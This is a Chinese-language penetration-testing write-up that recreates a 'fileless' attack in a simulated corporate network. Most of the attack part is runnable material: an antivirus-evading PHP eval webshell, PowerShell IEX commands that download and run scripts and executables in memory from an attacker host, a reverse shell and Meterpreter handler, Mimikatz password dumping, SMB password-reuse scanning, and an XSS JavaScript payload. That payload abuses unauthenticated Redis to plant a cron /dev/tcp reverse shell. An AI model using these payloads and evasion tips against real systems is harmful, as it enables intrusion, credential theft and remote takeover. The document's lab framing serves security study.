[+] Author: niexinming
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-03-09
0x00 緣由
前幾天看到文章《全球上百家銀行和金融機構感染了一種“無文件”惡意程序,幾乎無法檢測》,希望自己能夠親手實驗一下,以最大程度還原這種“無文件”攻擊方式。
0x01 拓撲設計
- 192.168.1.0/24: 模擬公網環境
- 172.21.132.0/24: 模擬企業內網環境
- 192.168.1.108: 黑客 Kali 攻擊機
- 192.168.1.212: 黑客 Windows 攻擊機
- 邊界 Web 服務器雙網卡(公網的:192.168.1.110,和內網的172.21.132.110),而且為了最基本的安全保障,Web 邊界服務器設置了防火墻,此防火墻對外網只開放80,81,443端口,對內網開放所有端口,上面裝有360殺毒軟件
- 內網還布置若干臺 Web 服務器,一臺旁路告警設備(ips),他們都可以連接到外網,但是外網訪問不到內部的任何web服務器
- 其中 Web 服務器(172.21.132.113/linux)前面放置防火墻,不可以被內網的其他 Web 服務器訪問到,但它可訪問到內網其他服務器并且能夠連接外網

0x02 Nishang, PowerSploit
- Nishang是基于 PowerShell 的滲透測試專用工具。集成了框架、腳本和各種payload。這些腳本是由Nishang的作者在真實滲透測試過程中有感而發編寫的,具有實戰價值。包括了下載和執行、鍵盤記錄、dns、延時命令等腳本
- PowerSploit是又一款 Post Exploitation 相關工具,Post Exploitation 是老外滲透測試標準里面的東西,就是獲取shell之后干的一些事情。PowerSploit 其實就是一些 Powershell 腳本,包括 Inject-Dll(注入dll到指定進程)、Inject-Shellcode(注入shellcode到執行進程)、Encrypt- Script(文本或腳本加密)、Get-GPPPassword(通過groups.xml獲取明文密碼)、Invoke- ReverseDnsLookup(掃描 DNS PTR記錄)
0x03 開始滲透
由于邊界 Web 服務器上 fastcgi 配置錯誤,導致服務器被 Getshell。因為服務器上有殺毒軟件,所以要把一句話木馬做一下轉換,繞過思路參考:打狗棒法之進階篇:Cknife修改配置法秒過安全狗。
服務器端木馬內容:
<?php
eval('$n0tr00t ='.$_POST['test']);
eval($n0tr00t);
?>
替換 Config.ini PHP_MAKE 為:
base64_decode($_POST['action']);

拿到 Webshell 之后 systeminfo 查看系統信息:

可以看到這個是一臺 Win2008 r2 64 位而且沒有打任何系統補丁的系統,所以我們可以從上面反彈一個 Powershell 出來進行下一步滲透,首先把 nishang git clone 到 Web 目錄下,然后在shell 目錄下找到 Invoke-PowerShellTcp.ps1,為了方便直接把 Invoke-PowerShellTcp.ps1 復制到根目錄,nc 監聽8888端口,然后執行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.108/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.108 -port 8888

不過查看權限發現權限比較低:iis apppool\defaultapppool ,所以我們需要提高一下權限, 一般是上傳內核溢出 exp ,我在這里選擇直接從遠處加載一個 exe 到受害主機內存中,并且讓他執行起來,把:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 下載到 Hacker-Web 目錄下,提權我們這里使用 ms1564.exe :
IEX (New-Object Net.WebClient).DownloadString
('http://192.168.108/Invoke-ReflectivePEInjection.ps1');
Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

這里面有個坑,ms15051 由于是隨便從一個網上下載下來的,沒有經過改造,所以當執行的指令參數有空格的時候,他會沒有任何反應,也沒有任何回顯,后來經過不斷嘗試,執行cmd的時候就可以把shell的權限提了,但是如果你執行 powershell 這個指令的話,那么這個反彈的shell就會假死。
這時在本機搜集信息,mimikatz 脫出登陸過的密碼:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz

查看 arp 的列表:

看到好多機子集中在 172.21.132.100-120 這個網段,我們調用 poershell 掃一下,端口掃描的腳本可以從這里下載:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1
掃描:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');
Invoke-PortScan -StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

這個時候我們反彈一個 meterpreter 利用 powersploit 框架,由于一些奇怪的原因,作者把框架中支持 msf 的部分去掉了,但經過我的查找在作者提交的歷史記錄里面找到了最后一版支持 msf 的部分:
如果 git clone 新版本的 PowerSploit 你要用老版本的 CodeExecution/Invoke--Shellcode.ps1 替換掉新版本的文件:
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force
設置 payload 為 windows/meterpreter/reverse_https ,并且監聽 4444 端口:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run
然后在 powershell 反彈的 shell 中調用:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/1.ps1')
拿到 meterpreter ~ 注意:這個 meterpreter 執行 shell 是不能得到交互式 cmd
的,因為剛才用 exp 把反彈的 powershell 變成了 system 的權限,所以再反彈出來的meterpreter 也是 system 權限,查看路由:run get_local_subnets,尋找 putty 保存的信息run enum_putty,尋找ie保存的密碼:run post/windows/gather/enum_ie。
本地信息搜集差不多了,可以使用 background 把 meterpreter 放入后臺,然后添加路由(這樣才能進行內網的掃描):
route add 172.21.132.0 255.255.255.0 1
route add 第一個參數是地址,第二個參數地址是掩碼,第三個參數是sessis的id;
進行內網的主機掃描,利用 smb 進行主機識別:
use auxiliary/scanner/smb/smb_version

利用剛才找到的管理員密碼在內網里面碰撞一下,看看多少主機用的是同樣的密碼 用的是:use auxiliary/scanner/smb/smb_login

可以看到內網里面的大部分機子都是用的一個密碼,下面我們要用 socks 代理進入到內網里面獲取一些信息,這里有三種選擇:
- msf 提供了一種 socks4a 的代理,瀏覽器可以用這個代理進入到內網,但burp不能用socks4a的代理
- 用 reGeorgSocksProxy.py 的 socks5 進入到內網里
- 用特殊處理過得 xsocks.exe ,通過 powershell 遠程加載到內存里面運行之后得到代理
因為這是60字節 WebShell 的雜技,所以我們采用第三種方法進入到內網,在黑客的web里面放入特殊處理的 xsocks.exe,然后用 poweshell 加載:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR
BurpSuite / Firefox 等代理中設置好后就可以實現這樣的效果了:


流量攔截下來 repeater :

經過內網探測發現 172.21.132.113 開放 6379 端口,但是通過代理無法連接,后來發現 172.21.132.117:83/xss/add.php 的一個留言板:

根據文章 Client-Side Redis Attack Proof of Concept 我做了一個可以利用redis未授權訪問得到反彈shell的js:
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('flushall\r\n');
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"1\",\"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.108/5566 0>&1\\n\\n"); redis.call(\"config\", \"set\", \"dir\", \"/var/spool/cron/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"root\");' + '\' 0' + "\r\n");
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('save\r\n');
在本機監聽 5566 端口,只要有裝redis的那臺機子的管理員查看留言板的話就會彈出一個shell給我們的主機:

0x04 tips
我們在上面介紹用 Powershell 加載外部 exe 進入內存執行,從而不在受害主機里面留下任何痕跡,而且也可以繞過國內主流殺軟的查殺,參考:
- PowerPwning: Post-Exploiting ByOverpowering PowerShell
- Powershell tricks::Code Execution & Process Injection
實現前提條件:
- 你要有源碼
- 源碼必須是 c++ 編寫,c# 編寫的會導致崩潰
- 編譯的時候建議用 vs2010+winxp 編譯
- 編譯采用/MT 或者/MTd
- 代碼中不能有寫文件的操作
如果要傳遞參數的話把 int main(int argc char **argv) 改成:
int main()
{
LPWSTR *szArglist;
int nArgs;
int i;
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if( NULL == szArglist )
{
wprintf(L"CommandLineToArgvW failed\n");
return 0;
}
}
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/243/